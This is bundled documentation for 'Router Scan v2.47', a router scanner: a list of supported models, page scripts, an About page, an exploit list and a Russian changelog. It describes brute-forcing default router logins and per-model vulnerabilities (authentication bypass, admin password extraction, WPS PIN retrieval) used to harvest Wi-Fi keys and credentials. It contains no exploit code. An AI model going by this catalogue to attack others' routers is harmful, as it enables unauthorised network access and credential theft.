				[0, 1, "Cisco Linksys E2000"],

				[0, 1, "Cisco Linksys E2500"],

				[0, 1, "Cisco Linksys WRT160NL"],

				[0, 1, "Cisco Linksys WRT320N"],

				[0, 1, "Cisco Linksys WRT54G/GL/GS"],

				[0, 1, "Cisco Linksys WRT54Gv8 / GSv7"],

				[0, 1, "Cisco Linksys WRT610N"],

				[0, 1, "D-Link DIR-300"],

				[0, 1, "D-Link DIR-300 Rev.B"],

				[0, 1, "D-Link DIR-330"],

				[0, 1, "D-Link DIR-400"],

				[0, 1, "D-Link DIR-600 Rev.B"],

				[0, 1, "D-Link DIR-615-C1"],

				[0, 1, "D-Link DIR-615-E3/E4"],

				[0, 1, "NETGEAR WNDR3700"],

				[0, 1, "NETGEAR WNR2200"],

				[0, 1, "NETGEAR WNR3500v2/U/L"],

				[0, 1, "TP-LINK TL-WDR3600 v1"],

				[0, 1, "TP-LINK TL-WDR4300 v1"],

				[0, 1, "TP-LINK TL-WR1043ND"],

				[0, 1, "TP-LINK TL-WR741ND v1"],

				[0, 1, "TP-LINK TL-WR841ND v5"],

				[0, 1, "TP-LINK TL-WR841ND v7"],

				[0, 1, "TP-LINK TL-WR841ND v8"],

				[0, 1, "TP-LINK TL-WR842ND v1"],

				[0, 1, "TP-LINK TL-WR941ND v2/v3"],

			]],

			[1, 0, imgWorldwide, "G.SHDSL Router", [

				[0, 0, "NSGate qBRIDGE-106n"],

				[0, 0, "Planet GRT-101"],

				[0, 0, "Planet GRT-402"],

				[0, 0, "QTECH QFC-040"],

			]],

			[5, 0, imgWorldwide, "Gemtek WiMAX CPE", [

				[0, 0, "Airspan HiperMAX"],

				[0, 0, "Cambium CMM4"],

				[0, 0, "WIXS-155"],

				[0, 0, "WIXS-177"],

			]],

			[1, 0, imgWorldwide, "Greenpacket WiMAX CPE", [

				[0, 1, "WIXFMM-129"],

			]],

			[1, 0, imgMfc_Broadcom, "Micro DSL (Broadcom firmware)", [

				[0, 1, "Asmax AR1004g"],

				[0, 1, "ASUS WL-AM604g"],

				[0, 1, "Comtrend CT-5372"],

				[0, 1, "Comtrend NexusLink 5631"],

				[0, 0, "D-Link DSL-2500U"],

				[0, 0, "D-Link DSL-2520U"],

				[0, 0, "D-Link DSL-2540U"],

				[0, 1, "D-Link DSL-2600U"],

				[0, 1, "D-Link DSL-2640U"],

				[0, 1, "D-Link DSL-2730B"],

				[0, 1, "D-Link DSL-2730U"],

				[0, 1, "Digicom RAW750-A04"],

				[0, 1, "Eltex NTP-RG-1402G-W"],

				[0, 0, "Glitel GT-318RI"],

				[0, 1, "Glitel GT-5802W"],

				[0, 0, "Huawei EchoLife HG510"],

				[0, 1, "Huawei EchoLife HG520"],

				[0, 1, "Intercross 4PW"],

				[0, 1, "Modem Supply MSW41p4 v2.5"],

				[0, 1, "NETGEAR JDGN1000"],

				[0, 1, "NetComm NB604N"],

				[0, 1, "Pikatel AirMax-101 TTNET"],

				[0, 0, "Pikatel ComboMax"],

				[0, 1, "QTECH QDSL-1040WU"],

				[0, 1, "Sagemcom F@ST1704N"],

				[0, 1, "Sagemcom F@ST2804v2"],

				[0, 1, "Sagemcom F@ST3804"],

				[0, 1, "Starnet AR800"],

				[0, 1, "TP-LINK TD-W8920G"],

				[0, 1, "TP-LINK TD-W8950ND"],

				[0, 1, "TP-LINK TD-W8960N"],

				[0, 1, "TP-LINK TD-W8960N V4"],

				[0, 0, "Zhone 1511-A1"],

				[0, 1, "ZTE ZXDSL 531BII"],

				[0, 0, "ZTE ZXDSL 831AII"],

				[0, 0, "ZTE ZXDSL 831C"],

				[0, 0, "ZTE ZXDSL 831CII"],

				[0, 0, "ZTE ZXDSL 831II"],

				[0, 1, "ZTE ZXDSL 931WII"],

				[0, 1, "ZyXEL P-870HW-51A V2"],

			]],

			[8, imgMfc_MikroTik, "MikroTik RouterOS"],

			[5, 0, imgWorldwide, "ONT GPON Home Gateway", [

				[4, 1, "Dasan Networks H640GW"],

				[4, 1, "Dasan Networks H640RW"],

				[0, 1, "Ericsson SBM4F00ARA"],

			]],

			[1, 0, imgMfc_Ralink, "Ralink Broadband", [

				[0, 1, "EnGenius ESR1221N"],

			]],

			[1, 0, imgMfc_Realtek, "Realtek ADSL firmware", [

				[0, 0, "Acorp Sprinter@ADSL LAN110"],

				[0, 0, "Acorp Sprinter@ADSL LAN110 v2"],

				[0, 1, "Acorp Sprinter@ADSL W422G v4"],

				[0, 1, "Acorp Sprinter@ADSL W520N"],

				[0, 0, "Intercross 1P"],

				[0, 0, "Intercross 4P"],

			]],

			[1, 0, imgMfc_Realtek, "Realtek Broadband firmware", [

				[0, 1, "Acorp WLAN Broadband Router"],

				[0, 1, "ALFA Network 802.11g"],

				[0, 1, "Canyon Wireless Router"],

				[0, 1, "FoxGate WFR-301"],

				[0, 1, "Netcore NW605+"],

				[0, 1, "QTECH QBR-1041WU"],

				[0, 1, "TRENDnet TEW-432BRP"],

				[0, 1, "TRENDnet TEW-432BRP/C"],

				[0, 1, "Well WRC7000N"],

			]],

			[1, 0, imgMfc_Tomato, "Tomato", [

				[0, 1, "D-Link DIR-320"],

				[0, 1, "Linksys WRT310N v1"],

				[0, 1, "NETGEAR WNR3500L/U/v2"],

			]],

			[1, 0, imgWorldwide, "Ubicom Firmware", [

				[0, 1, "D-Link DIR-628"],

				[0, 1, "D-Link DIR-635"],

				[0, 1, "D-Link DIR-655"],

				[0, 1, "TRENDnet TEW-630APB"],

				[0, 1, "TRENDnet TEW-631BRP"],

			]],

			[1, 0, imgMfc_AirOS, "Ubiquiti AirOS", [

				[0, 1, "AirGrid M5 HP"],

				[0, 1, "Bullet2"],

				[0, 1, "NanoStation Loco M2"],

				[0, 1, "NanoStation Loco M5"],

				[0, 1, "NanoStation M5"],

				[0, 1, "NanoStation2"],

				[0, 1, "NanoStation5 L"],

			]],

			[1, 0, imgWorldwide, "Web Service DVR", [

				[0, 0, "Dahua IPC-HFW2100"],

			]],

			[1, 0, imgWorldwide, "WebCM Firmware", [

				[0, 0, "AirTies RT-102"],

				[0, 0, "AirTies RT-103"],

				[0, 0, "AirTies RT-111"],

				[0, 0, "AirTies RT-111UA"],

				[0, 1, "AirTies RT-205"],

				[0, 1, "AirTies RT-206v1TT"],

				[0, 1, "AirTies RT-211RU"],

				[0, 1, "AirTies RT-211UA"],

				[0, 1, "Buffalo WBMR-G54"],

				[0, 1, "Conceptronic C54APRA"],

				[0, 0, "D-Link DSL-320T"],

				[0, 0, "D-Link DSL-500T"],

				[0, 0, "D-Link DSL-502T"],

				[0, 0, "D-Link DSL-504T"],

				[0, 0, "D-Link DSL-524T"],

				[0, 0, "D-Link DSL-562T"],

				[0, 0, "D-Link DSL-584T"],

				[0, 1, "D-Link DSL-G604T"],

				[0, 1, "D-Link DSL-G624T"],

				[0, 1, "D-Link DSL-G664T"],

				[0, 1, "D-Link DSL-G684T"],

				[0, 1, "D-Link DVA-G3340S"],

			]],

			[0, 1, "Wireless EVDO Smart 3G Router"],

			[1, 0, imgUnknown, "Wive-NG", [

				[0, 1, "Acorp WR-300N"],

				[0, 1, "Acorp WR-300NU"],

			]],

			[1, 0, imgMfc_ZTE, "ZTE WiMAX CPE", [

				[0, 1, "ZTE IX256"],

			]],

			[1, 0, imgMfc_ZyXEL, "ZyNOS ADSL (ZyXEL/TrendChip firmware)", [

				[0, 0, "3Q D001F"],

				[0, 1, "AirLive WT-2000ARM"],

				[0, 0, "ASUS AAM6000EV/Z2"],

				[0, 0, "ASUS AAM6020BI"],

				[0, 0, "ASUS AAM6020BI-Z2"],

				[0, 0, "Asotel UM-A+"],

				[0, 1, "Billion ADSL Modem/Router"],

				[0, 1, "Dick Smith XH9950"],

				[0, 0, "Edimax AR-7084A"],

				[0, 1, "Edimax AR-7084gA"],

				[0, 1, "Encore ENDSL-A2+WIGX2"],

				[0, 0, "Everest SG-1400"],

				[0, 1, "Everest SG-1500"],

				[0, 1, "Hama DR-60"],

				[0, 1, "LevelOne WBR-3601"],

				[0, 1, "Orient WAR25TC"],

				[0, 1, "Planet ADN-4000"],

				[0, 1, "Quake TW1974H1"],

				[0, 0, "Sterlite SAM300AX"],

				[0, 0, "TP-LINK TD-811"],

				[0, 0, "TP-LINK TD-8816"],

				[0, 0, "TP-LINK TD-8817"],

				[0, 0, "TP-LINK TD-8840T"],

				[0, 0, "TP-LINK TD-8840T 2.0"],

				[0, 1, "TP-LINK TD-W8101G"],

				[0, 1, "TP-LINK TD-W8151N"],

				[0, 1, "TP-LINK TD-W8901G"],

				[0, 1, "TP-LINK TD-W8901GB"],

				[0, 1, "TP-LINK TD-W8901N"],

				[0, 1, "TP-LINK TD-W8951NB"],

				[0, 1, "TP-LINK TD-W8951ND"],

				[0, 1, "TP-LINK TD-W8961NB"],

				[0, 1, "TP-LINK TD-W8961ND"],

				[0, 0, "TRENDnet TDM-C400"],

				[0, 1, "TRENDnet TEW-435BRM"],

				[0, 1, "TRENDnet TEW-635BRM"],

				[0, 0, "Upvel UR-101AU"],

				[0, 0, "Upvel UR-104AN"],

				[0, 1, "Upvel UR-203AWP"],

				[0, 1, "Upvel UR-214AWG"],

				[0, 1, "Upvel UR-314AWN"],

				[0, 1, "Upvel UR-324AWN"],

				[0, 1, "WTC606"],

				[0, 1, "WTC224"],

				[0, 0, "ZTE ZXDSL 831CII"],

				[0, 0, "ZyXEL P-660R-T1"],

				[0, 0, "ZyXEL P-660R-T1 v3s"],

				[0, 0, "ZyXEL P-660RU-T1"],

				[0, 1, "ÐŸÑ€Ð¾Ð¼Ñ�Ð²Ñ�Ð·ÑŒ M-200 A"],

			]],

			[1, 0, imgMfc_ZyXEL, "ZyNOS ADSL 2 (ZyXEL/TrendChip firmware)", [

				[0, 1, "Huawei HG530"],

				[0, 1, "Huawei HG530u"],

				[0, 0, "Huawei MT800u-T"],

				[0, 0, "Huawei SmartAX MT880"],

				[0, 0, "Huawei SmartAX MT882u"],

				[0, 0, "Huawei SmartAX MT883"],

			]],

			[1, 0, imgMfc_ZyXEL, "ZyXEL WiMAX CPE", [

				[0, 0, "Greenpacket UH235"],

				[0, 0, "MediaTek MT711x"],

			]],

		]],

	]],

];
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body {

	padding-left: 8px;

	padding-right: 0px;

	padding-top: 6px;

	padding-bottom: 6px;

	font-size: 13px;

	margin: 0;

	cursor: default;

	color: #000000;

	font-family: Tahoma, Geneva, sans-serif;

	background-color: #ffffff

}

a {

	color: #203090;

	cursor: pointer;

	border: 0;

	margin: 0;

	padding: 0;

	text-decoration: none;

}

div {

	padding: 0;

	margin: 0;

}

a:visited {

	color: #5f8498;

	border: 0

}

a:hover {

	color: #65a7cb;

	border: 0

}

a .Current {

	font-weight: bolder;

	background-color: #a6cfe5

}

img {

	BORDER: none;

	MARGIN: 0;

	PADDING: 0 3 3 0;

	cursor: pointer;

	HEIGHT: 16px;

	WIDTH: 16px

}

UL {

	MARGIN: 0;

	PADDING: 0;

	BORDER: none;

	LIST-STYLE-TYPE: none

}

UL.Shown {

	DISPLAY: block

}

UL.Hidden {

	DISPLAY: none

}

UL#ULRoot {

	white-space: nowrap;

}

LI {

	MARGIN: 0;

	BORDER: none;

	PADDING: 0

}

LI UL,UL UL {

	padding: 0 0 0 0;

	margin: 0 0 0 16px

}
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// tree.js

// Copyright (C) Stas'M Corp. 2014



imgLogo = "data:image/png;base64,";

imgFolder = "data:image/png;base64,";

imgPage = "data:image/png;base64,";

imgUnknown = "data:image/gif;base64,";



imgWireless = "data:image/png;base64,";

imgWired = "data:image/png;base64,";

imgTest = "data:image/png;base64,";

imgWork = "data:image/png;base64,";

imgFuture = "data:image/png;base64,";



function expand(n)

{

	var ul = document.getElementById("ul"+n);

	var img = document.getElementById("img"+n);

	if (img != null && ul.className != null)

	{

		var str = img.src;

		if (ul.className == "Hidden") {

			ul.className = "Shown";

		} else {

			ul.className = "Hidden";

		}

	}

}

function getNextId()

{

	return cnt++;

}

function ReadNode(n, r)

{

	var str = "";

	var tab = "";

	for (var i = 0; i <= r; i++) tab += "\t";



	for (var i = 0; i < n.length; i++)

	{

		if (typeof(n[i]) == "object")

		{

			var x = getNextId();

			switch (n[i][0] & 1)

			{

				case 0:

				str += tab + "<li><img align=\"absmiddle\" src=\"";

				if (typeof n[i][1] == "number")

				{

					if ((n[i][1] & 1) == 0)

					{

						str += imgWired;

					} else

					{

						str += imgWireless;

					}

				}

				if (typeof n[i][1] == "string")

				{

					str += n[i][1];

				}

				str += "\" id=\"img"+x+"\">";

				if (typeof n[i][3] == "string")

				{

					str += "<a href=\""+n[i][3]+"\" target=\"mainFrame\">"+n[i][2]+"</a>";

				} else {

					str += n[i][2];

				}

				if ((n[i][0] & 2) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgTest+"\">";

				if ((n[i][0] & 4) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgWork+"\">";

				if ((n[i][0] & 8) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgFuture+"\">";

				str += "</li>\n";

				break;

				case 1:

				var show = "Hidden";

				if (n[i][1] == 1) show = "Shown";

				str += tab + "<li><a onclick=\"expand('"+x+"')\"><img align=\"absmiddle\" src=\""+n[i][2]+"\" id=\"img"+x+"\">"+n[i][3];

				if ((n[i][0] & 2) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgTest+"\">";

				if ((n[i][0] & 4) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgWork+"\">";

				if ((n[i][0] & 8) > 0) str += "&nbsp;<img align=\"absmiddle\" src=\""+imgFuture+"\">";

				str += "</a>\n";

				str += tab + "<ul class=\""+show+"\" id=\"ul"+x+"\">\n";

				str += ReadNode(n[i][4], r + 1);

				str += tab + "</ul>\n";

				break;

			}

		}

	}

	return str;

}

function BuildTree(tNode)

{

	cnt = 0;

	return ReadNode(tNode, 0);

}

function SwitchNodes(b)

{

	var uls = document.getElementsByTagName('ul');

	for (var i = 0; i < uls.length; i++)

	{

		if (uls[i].id.indexOf("ul") == 0)

		{

			var n = uls[i].id.substr(2);

			var ul = document.getElementById("ul"+n);

			var img = document.getElementById("img"+n);

			if (img != null && ul.className != null)

			{

				var str = img.src;

				if (b) {

					ul.className = "Shown";

				} else {

					ul.className = "Hidden";

				}

			}	

		}

	}

}

function FilterNode(n, m)

{

	m = m.toLowerCase();

	var i = 0;

	var a = new Array();

	for (var i = 0; i < n.length; i++)

	{

		if (typeof(n[i]) == "object")

		{

			switch (n[i][0] & 1)

			{

				case 0:

				if (n[i][2].toLowerCase().indexOf(m) >= 0) a.push(n[i]);

				break;

				case 1:

				x = FilterNode(n[i][4], m);

				if ((x.length > 0) || (n[i][3].toLowerCase().indexOf(m) >= 0)) a.push([n[i][0], 1, n[i][2], n[i][3], x]);

				break;

			}

		}

	}

	return a;

}

function FindRouter(Model)

{

	if (Model != '')

	{

		var newTree = FilterNode(Tree, Model);

		document.getElementById('ULRoot').innerHTML = BuildTree(newTree);

	} else {

		document.getElementById('ULRoot').innerHTML = BuildTree(Tree);

	}

}
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		Sorry, there is no changelog page on your language.




		You can browse russian version.
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		- ASUS (some of them)


		1. Get administrator password


		2. Get LAN configuration without authentication


		3. Get wireless settings without authentication




		- Alpha Networks (D-Link firmware)


		1. Get administrator username and password




		- D-Link DAP-1353, DIR-300, DIR-320


		1. Authentication bypass


		2. Get administrator password




		- D-Link DI-524


		1. Get administrator password with user privileges




		- D-Link DIR-100 (firmware 4.02 and 4.03)


		1. Get settings without authentication


		2. Get administrator password




		- D-Link DIR-615


		1. Get administrator password with user privileges




		- D-Link DIR-628, D-Link DIR-655


		1. MD5+salt authentication


		2. Captcha bypass




		- D-Link DIR-825


		1. Get administrator password with user privileges




		- SerComm Beeline Smart Box S1000


		1. Get device settings and administrator password




		- Tenda 11N


		1. Get administrator password




		- Ubicom firmware (tested on TRENDnet TEW-631BRP)


		1. Get administrator password with user privileges




		- Vertex Wireless VW200


		1. Get settings without authentication




		- ZTE F660, ZXV10 W300, ZXV10 H108L, and other


		1. Authentication bypass


		2. Get administrator username and password




		- ZTE ZXDSL 531BII


		1. Get administrator password




		- ZTE ZXDSL 831AII


		1. Get administrator password




		- ZTE ZXDSL 831CII


		1. Get administrator password




		- ZyWALL / ZyNOS


		1. Get administrator password without authentication, or with user privileges (rom-0 configuration file)
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		Sorry, there is no F.A.Q. page on your language.




		You can browse russian version.
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	Router Scan is able to find and identify a variety of devices from large number of known routers and that the most important thing is to get from them useful information, in particular the characteristics of the wireless network: a method of protecting the access point (encryption), access point name (SSID) and access point key (passphrase).


Also it receives information about the WAN connection (useful when scanning a local network) and show the model of router.


Getting information occurs in two possible ways:


1. The program will try to guess a pair of username/password to the router from a list of standard passwords, thereby get access.


2. Or the vulnerabilities (bugs) will be used against the router model, allowing to get the necessary information and/or bypass the authorization process.
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Tree = [

	[1, 1, imgLogo, "Router Scan", [

		[0, imgPage, "About", "main.html"],

		[0, imgPage, "Changelog", "changelog.html"],

		[1, 1, imgFolder, "Information", [

			[0, imgPage, "F.A.Q.", "faq.html"],

			[0, imgPage, "Supported router models", "supported.html"],

			[0, imgPage, "Exploit list", "exploits.html"],

		]],

	]],

];
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						Description:




						- wireless router




						- wired router (ethernet only)




						- just testing (may be bugged)




						- under construction (working partially without bugs)




						- will be added in the future




		




		


		Search router: 


		Expand all Collapse all
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		Router Scan v2.47
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RouterScan2.47汉化版/help/ru/changelog.html



		Список версий:




		• Версия 2.47


		• Версия 2.46


		• Версия 2.45 Update 1


		• Версия 2.45


		• Версия 2.44


		• Версия 2.43


		• Версия 2.42


		• Версия 2.41


		• Версия 2.40


		• Версия 2.39


		• Версия 2.38


		• Версия 2.35


		• Версия 2.34


		• Версия 2.31


		• Версия 2.30


		• Версия 2.24


		• Версия 2.23


		• Версия 2.21


		• Версия 2.2






		Что нового:




		Версия 2.47


		1. Добавлены модели роутеров:


		- Gigabyte:


		GN-BR02G


		- NETGEAR:


		DGN2000


		XWN5001


		- PacketFront:


		DRG600 Wi-Fi


		- TP-LINK:


		TL-WA501G


		TL-WA830RE


		TL-WA901N


		TL-WR543G


		- Thomson Router:


		Firmware STB6.07.03


		Firmware STCE.01.02 (Technicolor)


		- ZyXEL/ZyWALL Series:


		P660HTN EE


		- ZyXEL/Home Router:


		NBG-416N N-lite


		NBG-418N N


		- Other/Ralink:


		EnGenius ESR1221N


		- Other/Realtek ADSL:


		Acorp Sprinter@ADSL LAN110 (проводной)


		- Other/WebCM:


		D-Link DSL-320T (проводной)


		2. Обновлены парсеры: TP-LINK, Gigabyte, NETGEAR WNR, NETGEAR DGN, Realtek ADSL


		3. Исправлен баг в нескольких функциях работы с HTTP


		4. Исправлен баг в синхронизации


		5. Для улучшения производительности синхронизация была убрана из функции поиска текста


		6. Время жизни потока увеличено до 5 минут


		7. Раздел F.A.Q. в документации улучшен, вопросы распределены на несколько разделов


		8. Внесены значительные улучшения в механизм синхронизации


		9. Пустые строки в редакторе диапазонов теперь игнорируются


		10. Добавлена возможность размещения комментариев в списке диапазонов (для этого поставьте символ решётки # в начало строки), также это позволяет отключать ненужные диапазоны, не удаляя их


		11. Добавлена настройка двойного клика мышью по таблице (открыть в браузере или редактировать комментарий) - по умолчанию выключена


		12. Добавлена возможность отключения автоматической авторизации в браузере (включена по умолчанию для устройств, использующих Basic/Digest аутентификацию)


		13. Функции геолокации отключены (до тех пор, пока не будет найден новый безлимитный способ получения координат)


		14. Добавлена кнопка Force stop для принудительной остановки всех потоков (появляется после нажатия Stop scan)


		15. Добавлена возможность принудительной остановки выбранного потока (пункт меню Force reset доступен после выполнения Reset)


		16. Добавлена возможность не учитывать проводные роутеры в таблице Good Results


		17. Добавлена возможность отключения таймаута для потоков (по умолчанию выключена, при использовании пользователю придётся самостоятельно останавливать зависшие потоки, используя функции Force reset и Force stop)


		18. Вкладка Interface в настройках перемещена на первое место и переименована в General


		19. Добавлена возможность поиска всех совпадений текста в выбранной таблице


		20. Добавлена поддержка китайской локализации в парсер Gigabyte


		21. Добавлена поддержка французской локализации в парсер NETGEAR WNR


		22. Добавлена поддержка итальянской локализации в парсер NETGEAR DGN




		Версия 2.46


		1. Добавлены модели роутеров:


		- ASUS:


		RX3041 (D-Link firmware, проводной)


		U2C 300M Black (rebranded)


		WL-330N3G


		- Cisco:


		Cisco SPA (Universal, в разработке)


		SPA112 (проводной VoIP коммутатор)


		WAP2000


		- D-Link:


		DCS-2132L (беспроводная веб камера)


		DCS-6817 (проводная веб камера)


		DCS-910 (проводная веб камера)


		DCS-932L (беспроводная веб камера)


		DCS-933L (беспроводная веб камера)


		DCS-942L (беспроводная веб камера)


		DIR-330


		DIR-857


		- DrayTek:


		Vigor2920Vn (в разработке)


		- EDIMAX:


		BR6428N


		BR6428NS


		- GPON ONT:


		Dasan Networks H640GW (в разработке)


		Dasan Networks H640RW (в разработке)


		- Huawei:


		EchoLife HG231f


		- NETGEAR:


		RP614v4 (проводной)


		WGR614v6


		- Realtek:


		ALFA Network 802.11g


		Canyon Wireless Router


		FoxGate WFR-301


		Netcore NW605+


		QTECH QBR-1041WU


		Well WRC7000N


		- Tenda:


		3G 11N


		- Thomson:


		Firmware STB6.07.04


		- TP-LINK:


		MSI RG60SE (rebranded)


		TL-WA5110G


		- TRENDnet:


		TV-IP301 (проводная веб камера)


		- Upvel:


		Totolink N150RT (rebranded)


		UR-305B (проводной)


		- Vertex Wireless:


		VW200


		- Web Service DVR:


		Dahua IPC-HFW2100 (проводная веб камера)


		- Other:


		Wireless EVDO Smart 3G Router


		2. Обновлены парсеры: D-Link v2, EDIMAX 5, Upvel Universal, TRENDnet/Realtek 2, D-Link DIR-100, Wive-NG, Upvel BN, NETGEAR WGR614v6/WGR614v7/WGT624, ASUS RT-G32/RT-N13/WL-500gP V2, Tenda, NETGEAR WNR612v2/WNR1000v2/WNDR3800/WNR2200, Huawei BM, TRENDnet TEW-432BRP/TEW-452BRP, Ubicom, TP-LINK


		3. Обновлён модуль HNAP


		4. Исправлен баг в Use credentials (для роутеров с Basic/Digest с первого запуска могло не срабатывать)


		5. Добавлена эксплуатация уязвимости для TRENDnet TEW-631BRP (прошивка Ubicom) - получение пароля администратора при входе с правами пользователя


		6. Добавлена поддержка чешского языка для прошивки Realtek


		7. Добавлена эксплуатация уязвимости для Vertex Wireless VW200 (получение настроек без авторизации)


		8. Изменены некоторые названия параметров в ini-файле (для большей точности)


		9. Добавлена возможность указания страницы для определения (например /admin/ для некоторых устройств Cisco SPA)


		10. Улучшена утилизация потоков (зависшие потоки теперь завершаются корректно)


		11. Добавлена настройка времени жизни потока (40 секунд по умолчанию; если Router Scan не успевает выполнить обработку роутера, установите большее значение)


		12. Устранён баг в одном из детекторов Micro DSL (мог уйти в бесконечный цикл переопределения модели)


		13. Добавлено два столбца - Radio Off (модуль Wi-Fi отключён) и Hidden (трансляция SSID отключена / скрытая сеть), в поле ESSID теперь будет выводиться только имя сети


		14. Переписана значительная часть исполняемого кода, в соответствии с планом реализации стандартных API функций




		Версия 2.45 Update 1


		1. Добавлены модели роутеров:


		- ASUS:


		RX3041 Rev.B (проводной)


		- TP-LINK:


		TD-VG3631


		- TRENDnet:


		TEW-432BRP/C


		2. Обновлены парсеры: ASUS HG, ASUS E/LX, EDIMAX, TRENDnet


		3. Исправлен баг, из-за которого после сканирования было невозможно внести изменения в диапазоны и порты


		4. Добавлена возможность указания интернет браузера для открытия страниц (раньше использовался только системный по умолчанию)


		5. Добавлена возможность отключения генерации таблицы Good Results (для медленных ПК)


		6. Добавлены новые пары логин/пароль в словари




		Версия 2.45


		1. Добавлены модели роутеров:


		- Acorp:


		WLAN Broadband Router


		- ASUS:


		DSL-N55U Black


		- Belkin:


		F7D3402 v1


		- D-Link:


		DCS-2230 (беспроводная веб камера)


		DI-707P (проводной)


		DIR-826L


		- DrayTek:


		Vigor (Universal, в разработке)


		Vigor2110 (проводной)


		VigorFly 200


		- EDIMAX:


		Firmware 1.02 (BR6228GN)


		Firmware CLI v2.0 p50 (проводной)


		Intellinet (rebranded)


		- Gemtek WiMAX CPE (в разработке):


		Airspan HiperMAX (проводной)


		Cambium CMM4 (проводной)


		WIXS-155 (проводной)


		WIXS-177 (проводной)


		- GlobespanVirata:


		Viking GS8100 (проводной)


		- Greenpacket WiMAX CPE:


		WIXFMM-129


		- Huawei:


		EchoLife BM622


		EchoLife BM625


		EchoLife BM626


		EchoLife BM631a


		EchoLife BM632


		EchoLife BM632w


		EchoLife BM655


		- NETGEAR:


		DG834G


		DGN1000


		DGN2200


		DGN2200v3


		WG602v4


		WNDR3600


		- Seowon Intech:


		SWC-3200 (проводной)


		SWC-7100 (проводной)


		SWC-9000


		SWC-9100


		SWC-9200


		- TP-LINK:


		Canyon CNP-WF514N1A (rebranded)


		SMC SMCWBR14S-N5 (rebranded)


		TL-R460 (проводной)


		TL-R470T+ (проводной)


		TL-R600VPN (проводной)


		TL-R860 (проводной)


		TL-WA5210G


		TL-WA801N


		TL-WDR3500


		TL-WDR3600


		TL-WR1043N


		TL-WR2543ND


		TL-WR702N


		TL-WR840N


		TL-WR841HP


		TL-WR843ND


		TL-WR940N


		- ZTE WiMAX CPE:


		IX256


		- ZyXEL WiMAX CPE (в разработке):


		Greenpacket UH235 (проводной)


		MediaTek MT711x (проводной)


		- Атрон:


		RFT620


		2. Обновлены парсеры: D-Link v2, ZyNOS ADSL, TRENDnet TEW-432BRP/TEW-452BRP, D-Link DI-824VUP/DI-824VUP+/DI-804HV/DI-808HV/DI-604/DI-704P, Boa ADSL, ZyXEL NDMSv1, D-Link DIR-615/DIR-655/DIR-825, TP-LINK Universal, Ubiquiti AirOS, Tenda 11N, Wive-NG, AnyData AWR-500A, SerComm Beeline Smart Box S1000, ASUS RX3041 V2, EDIMAX 5, D-Link DCS-2130/DCS-2230, TRENDnet Wireless Router


		3. В парсер ZyNOS ADSL добавлена поддержка локализации польского языка


		4. Обновлены сигнатуры Hex


		5. Добавлена функция копирования строки URL (Copy device URL в контекстном меню, сочетание клавиш Alt+C)


		6. Добавлена возможность экспорта данных в текстовый список формата user:pass@ip:port


		7. Добавлена возможность экспорта данных в формате JavaScript Object Notation (JSON)


		8. Исправлен баг в детекторе-определителе перенаправлений


		9. Добавлено сворачивание в tray-значок на панели задач (при включённом Silent Mode)


		10. Добавлена возможность дополнительной проверки авторизации для роутеров, использующих Basic Authentication (может быть полезна для роутеров ASUS; конфигурация в файле config.ini, раздел WWW-Authenticate, параметр DualCheck - по умолчанию отключён, установить значение = 1 для включения; примечение: включение данной возможности может немного замедлить процесс подбора пары логин/пароль)


		11. Исправлен баг в модуле HNAP (мог стереть ранее полученный парсером пароль)


		12. Обновлён модуль HNAP (добавлена возможность получения WPS PIN кода)


		13. Добавлена уязвимость для роутеров Tenda 11N (получение имени и пароля администратора)


		14. Добавлена возможность устанавливать автоматическую прокрутку по отдельности для каждой вкладки


		15. Добавлена возможность выбора таблицы для автоматического сохранения (раньше сохраняло активную таблицу)


		16. Добавлен вывод заголовков таблицы при экспорте в XML


		17. Теперь если в таблице нет данных, то функция экспорта будет недоступна


		18. При включённой функции автоматического сохранения пустые таблицы сохраняться не будут


		19. Исправлен баг с падением скорости после длительного сканирования


		20. Добавлено 3 режима сканирования: 1) нормальный 2) быстрый 3) очень быстрый


		21. Добавлен диалог с настройками (большинство настроек из ini файла теперь можно изменить там)


		22. Добавлена возможность использовать прокси сервер (HTTP или HTTPS)


		23. Добавлена возможность изменять строку User-Agent


		24. Добавлен новый столбец для возможности комментирования


		25. Эксплойты для SQLite и Hudson теперь записывают ссылку в столбец комментариев


		26. Добавлено автоматическое сохранение настроек программы (раз в 20 секунд)


		27. Добавлена возможность редактирования диапазонов в виде текстового списка


		28. Добавлена возможность выбора действия по окончанию сканирования (закрыть программу, выполнить выход пользователя, выключение ПК, режим сна, и гибернация)


		29. Сканирование роутеров отведено в отдельный модуль, который можно включать и выключать (подбор авторизации входит в состав модуля)


		30. Добавлены новые пары логин/пароль в словари


		31. Положено начало составлению документации, на первом этапе в неё были перенесены все файлы readme и т.п.


		32. Список используемых уязвимостей убран со страницы проекта и бережно перенесён в документацию


		33. Добавлено сочетание клавиш Ctrl+D для копирования информации выделенного роутера




		Версия 2.44


		1. Добавлены модели роутеров:


		- AirTies:


		AIR-4240


		AIR-4340


		AIR-4450


		- ASUS:


		AX-112W


		AX-145 (проводной)


		RT-AC68U


		RT-AC68U Black


		RT-N12 Rev.B1 Black


		RT-N12VP Black


		RT-N14U Grey


		RT-N15U HG


		- D-Link:


		DAP-1353


		DCS-930 (беспроводная веб камера)


		DSL-2740NRU


		DSL-2750U


		DSL-320B (проводной)


		- Gigabyte:


		GN-BR404W


		- NETGEAR:


		WNDAP350


		WNR1000 v3


		WNR2200


		- Netis:


		WF2419


		- Tenda:


		Wireless-N Router


		- TP-LINK:


		TL-WR741N


		- Thomson:


		Firmware ST5D.10.02


		Firmware ST5D.10.05


		Firmware STB6.07.03.T4


		- Upvel:


		UR-309BN


		- Other / Alpha Networks (D-Link firmware):


		D-Link DI-524UP


		D-Link DI-604UP (проводной)


		D-Link DI-604+ (проводной)


		D-Link DI-624S


		D-Link T-Mobile TM-G5240


		Planex BRL-04CW (проводной)


		Planex BRL-04CW-U (проводной)


		Planex BRL-04R (проводной)


		Planex BRL-04UR (проводной)


		- Other / Realtek ADSL firmware:


		Acorp Sprinter@ADSL LAN110 v2 (проводной)


		Acorp Sprinter@ADSL W422G v4


		Intercross 1P (проводной)


		- Other / Ubiquiti AirOS:


		NanoStation Loco M2


		NanoStation M5


		- Other / Boa IP Camera:


		ABUS Security-Center TVIP10550 (беспроводная веб камера)


		Airlive OD-300CAM (проводная веб камера)


		Beward N13103 (беспроводная веб камера)


		Beward N6601 (проводная веб камера)


